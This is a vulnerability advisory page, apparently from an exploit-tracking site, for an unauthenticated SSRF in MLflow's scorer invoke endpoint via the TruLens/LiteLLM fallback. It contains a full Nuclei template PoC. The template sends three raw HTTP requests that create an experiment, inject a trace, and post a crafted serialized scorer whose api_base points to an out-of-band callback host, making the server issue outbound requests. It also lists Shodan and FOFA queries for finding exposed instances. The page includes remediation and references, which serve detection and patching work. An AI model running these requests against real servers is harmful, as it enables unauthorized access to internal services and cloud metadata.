CVE-2026-115886: MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer

2026-11-09 PoC Public

Description

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.

Details

CVE
CVE-2026-115886 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-115886

info:
  name: MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer
  author: kosoyyagent
  severity: medium
  description: |
    MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.
  impact: |
    An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server.
  remediation: |
    Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their
    constructor kwargs.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5
    - https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f
    - https://github.com/mlflow/mlflow/pull/25890
    - https://github.com/mlflow/mlflow/releases/tag/v3.17.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-115886
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-115886
    epss-score: 0.00676
    epss-percentile: 0.52492
    cwe-id: CWE-470,CWE-918
  metadata:
    verified: true
    max-request: 3
    vendor: mlflow
    product: mlflow
    shodan-query: http.title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,ssrf,oast,unauth,oss,vkev

variables:
  oid: "{{hex_encode(rand_base(16))}}"
  sid: "{{hex_encode(rand_base(8))}}"
  ikey: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{rand_base(10)}}"}

      - |
        POST /v1/traces HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-mlflow-experiment-id: {{eid}}

        {"resourceSpans":[{"resource":{"attributes":[]},"scopeSpans":[{"scope":{},"spans":[{"traceId":"{{oid}}","spanId":"{{sid}}","name":"s","kind":1,"startTimeUnixNano":"1750000000000000000","endTimeUnixNano":"1750000000000000000","attributes":[{"key":"mlflow.spanInputs","value":{"stringValue":"{\"x\":\"hi\"}"}},{"key":"mlflow.spanOutputs","value":{"stringValue":"\"a coherent response\""}},{"key":"mlflow.spanType","value":{"stringValue":"\"UNKNOWN\""}}],"status":{}}]}]}]}

      - |
        POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id":"{{eid}}","serialized_scorer":"{\"name\":\"Coherence\",\"third_party_scorer_data\":{\"module\":\"mlflow.genai.scorers.trulens\",\"class\":\"Coherence\",\"metric_name\":\"Coherence\",\"model\":\"openai:/gpt-4o\",\"kwargs\":{\"api_base\":\"http://{{interactsh-url}}\",\"api_key\":\"{{ikey}}\"}}}","trace_ids":["tr-{{oid}}"]}

    extractors:
      - type: regex
        name: eid
        part: body
        internal: true
        group: 1
        regex:
          - '"experiment_id"\s*:\s*"?([0-9]+)"?'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: word
        part: body
        words:
          - "job_id"
# digest: 490a00463044022057be793b8e964f0c10ba1fce6ff5485fc729014a27b023e2cd798d8fa6a334620220087d2dfec58820f23c4ea8191d007c9a0dd43ff41783b99e1cbecdd83e595c95:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life